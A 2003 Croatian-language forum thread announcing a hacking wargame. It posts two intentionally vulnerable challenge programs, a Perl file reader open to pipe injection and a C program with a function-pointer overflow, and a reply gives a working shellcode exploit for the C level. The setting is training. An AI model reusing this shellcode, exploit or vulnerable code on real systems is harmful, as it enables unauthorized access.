[es] - HACK!

DownBload

Član broj: 1333
Poruke: 310
*.net.hinet.hr

Profil

^{28.06.2003. u 13:35}

Citat:

Boomerang:
Video sam ...Nista posebno... Cak sta vise ...
A posto si ti clan, ajde malo nam objasni stanje ...

Nisam ja niti rekao da je nesto posebno, al to je nazalost jedina grupa (po mojim saznanjima) iz ex-juge koja ipak nesto radi (koliko smo u mogucnosti) i mislim da se mogu naci neke korisne stvari na sajtu.

BTW: Uskoro cemo otvoriti jedan wargame server (mozda dva). Bit ce to neka slabija masina sa debian 3.0 woody distrom. Zadatak ce biti proci 21 nivo.
Nivoi su:

1-5: exploitanje sh skripta
6-10: exploitanje perl skripta
11-21: exploitanje C programa

Znanje potrebno za prolaz igre...normalno propusti u sh, perl i C
programima....konkretnije:

shell - neke osnovne stvari..
perl - RFP-ovi txtovi objavljeni u phracku na temu perla - poison null byte, pipe teqn1k....pa neke starije forice koje se mogu naci u PERL+CGI security txtovima.
C - klasika...razni stack overflowi, heap overflowi, off-by-one, signali, race condition, neka kriptografija (jednostavno) i sl.

evo za primjer, 2 programa koja sam objavio i na kamikazinom forumu...treba ih exploitati:

level 7:
------------------------------
#!/usr/bin/perl
#
# W4rCr0-21 - LEVEL VII coded by DownBload
#
# TIP: You can open text files, but what else can you open...
#

$ENV{'PATH'} = "/usr/local/bin:/bin:/usr/bin:";
$ENV{'BASH_ENV'} = "";

system ("/usr/bin/clear");

print "#########################\n";
print "# W4rCr0-21 - LEVEL VII #\n";
print "#########################\n";
print "- So, you found that stupid character...what now???\n\n";

print "> Which file do you wanna read today???\n";
$var = <>;
chop $var;

$var =~ s/([;<>\*'&\$!#\[\]\{\}:"`])/\\$1/g;

open (FD, "$var") || die ("ERROR: No such file!!!\n\n");
print "$var content:\n";
while (<FD>)
{
print;
}
close (FD);
------------------------------

level 17:
------------------------------
/*
W4rCr0-21 - LEVEL XVII coded by DownBload

TIP: Hmmm...very simple.
*/

#include <stdio.h>
#include <stdlib.h>

static char var[256];
static int (*func)();

int printstring (char *str)
{
printf ("> LOL, yeah...%s\n",str);
return 0; // no use :)))
}

main (int argc, char **argv)
{
char in[256];
int x;
long funcaddr;

system ("/usr/bin/clear");

printf ("##########################\n");
printf ("# W4rCr0-21 - LEVEL XVII #\n");
printf ("##########################\n");
printf ("- No more stack for you mister!!!\n\n");

func = printstring;

if (argc == 2)
strncpy (var,argv[1],260);

for (x=0;x<255;x++)
{
if (var[x] == '\xcd') {
printf ("> No simple shellcode for you today!!!\n");
exit(0);
}
}

printf ("> HAHAHAHAHA, gimme five :)))");
fgets (in,256,stdin);
funcaddr = func;
if ((funcaddr & 0xbf000000) == 0xbf000000) {
printf ("> I said no more stack for you mister!!!\n");
exit (0);
}

func(in);
}
------------------------------

Ajmo hackeri, exploitajte ove programe i postajte rjesenja :)))))).
Mozda ovo (defaced) nije pravi forum za to.

Sta je sad??? Nitko nezna rjesiti ove glupe zadacice??

Leon Juranic

^{28.06.2003. u 13:35}

charmender

Član broj: 16719
Poruke: 12
*.europronet.ba

Profil

Re: HACK!

^{24.11.2003. u 17:18}

manje od sat vremena nakon citanja tvog posta imao sam exploit u rukama :)

i izvinjavam se sto kasnim ali tek sam se prije nekoliko dana ukljucio u rad foruma

Code:

#include <stdio.h>
unsigned char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\xeb\x0d\x5e\x31\xc9\xb1\x47\x80\x36\x01\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff"
"\xff\x54\x88\xe4\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x82\xc2\xf4\x82\xed\x0d"
"\x30\xf7\x8c\xba\x3e\x01\x01\x01\x82\xe5\xf1\x88\x7c\xe9\x8c\x4c\xe9\xc6\x44"
"\xed\x01\x01\x01\x01\xb9\x0a\x01\x01\x01\x88\xf3\x52\x88\xfa\xcc\x81\x5a\x8c"
"\x64\xf5\x5a\x5f\x5e\xc8\xc2\x2e\x63\x68\x6f\x2e\x72\x69\x01"

"[[ wvw.hackeri.org ]]"

"\xc0\x98\x04\x08";
// 0x80498c0
// ovo sam dobio koristeci gdb

main(){
char *argz[3] = { "dusica_moja", shellcode,NULL };
execv("./vuln",argz);
}

charmender

^{24.11.2003. u 17:18}

DownBload

Član broj: 1333
Poruke: 310
*.net4u.hr

Profil

Re: HACK!

^{24.11.2003. u 22:20}

Drago mi je da je barem netko napisao exploit i postao ga tu... :-)
Inace, na wargameu su varijable malo smanjene i tako se ne moze rijesiti taj nivo :->>>.
Postoji jos nacina.

Leon Juranic

^{24.11.2003. u 22:20}

manca
N/A

Član broj: 460
Poruke: 1300
*.ptt.yu

Jabber: manca@elitesecurity.org
ICQ: 94432046
Sajt: www.mtldesign.co.sr

Profil

Re: HACK!

^{25.11.2003. u 21:09}

Citat:

DownBload:
Hmmm...vidjeh kardinalnu gresku - netko je zaboravio http://www.kamikaza.org

To vise ne radi :)

Keep the faith....
MTL Design Studio....
http://www.mtldesign.co.sr

^{25.11.2003. u 21:09}

valajbeg
Sarajevo

Član broj: 5069
Poruke: 569
*.as53.sa-ap.bih.net.ba.

ICQ: 127234502
Sajt: www.microsoft.ba

Profil

Re: HACK!

^{25.11.2003. u 23:35}

Jos Zadataka?..

www.data.ba | www.microsoft.ba
Microsoft gives you Windows... Linux gives you the whole house. (A. Aganovic)

^{25.11.2003. u 23:35}

charmender

Član broj: 16719
Poruke: 12
*.europronet.ba

Profil

Re: HACK!

^{26.11.2003. u 07:34}

prijavio sam se na wargame

ponekad ne mogu da pokrenem neki proces, jer nemere da forkuje, malo to sredi

/usr/local/bin/level2
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049670 R_386_GLOB_DAT __gmon_start__
08049658 R_386_JUMP_SLOT __register_frame_info
0804965c R_386_JUMP_SLOT setgid
08049660 R_386_JUMP_SLOT system
08049664 R_386_JUMP_SLOT __deregister_frame_info
08049668 R_386_JUMP_SLOT __libc_start_main
0804966c R_386_JUMP_SLOT setuid

imam problema sa ovim prog, pretpostavljam da si ti ovo pisao,
pogledaj malo, ne radi mi drugi level,
ako je do mene da znam da idem dalje da istrazujem, jer

level1@cia:~$ ./level2.sh
level1@cia:~$

:) postovanje

charmender

^{26.11.2003. u 07:34}

charmender

Član broj: 16719
Poruke: 12
*.europronet.ba

Profil

Re: HACK!

^{26.11.2003. u 08:05}

Citat:

DownBload:
Drago mi je da je barem netko napisao exploit i postao ga tu... :-)
Inace, na wargameu su varijable malo smanjene i tako se ne moze rijesiti taj nivo :->>>.
Postoji jos nacina.

naravno, stavim shell kod u env, a umjesto ovog shell koda u var bi pisalo samo
jmp 0xblahblah
ili
call 0xblahblah

Keep It Simple Stupid

charmender

^{26.11.2003. u 08:05}

DownBload

Član broj: 1333
Poruke: 310
*.net4u.hr

Profil

Re: HACK!

^{26.11.2003. u 21:54}

Citat:

charmender:
prijavio sam se na wargame

ponekad ne mogu da pokrenem neki proces, jer nemere da forkuje, malo to sredi

/usr/local/bin/level2
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049670 R_386_GLOB_DAT __gmon_start__
08049658 R_386_JUMP_SLOT __register_frame_info
0804965c R_386_JUMP_SLOT setgid
08049660 R_386_JUMP_SLOT system
08049664 R_386_JUMP_SLOT __deregister_frame_info
08049668 R_386_JUMP_SLOT __libc_start_main
0804966c R_386_JUMP_SLOT setuid

imam problema sa ovim prog, pretpostavljam da si ti ovo pisao,
pogledaj malo, ne radi mi drugi level,
ako je do mene da znam da idem dalje da istrazujem, jer

level1@cia:~$ ./level2.sh
level1@cia:~$

:) postovanje

Sad sam isprobao i radi...
Mozda je previse juzera bilo na stroju :-)

Leon Juranic

^{26.11.2003. u 21:54}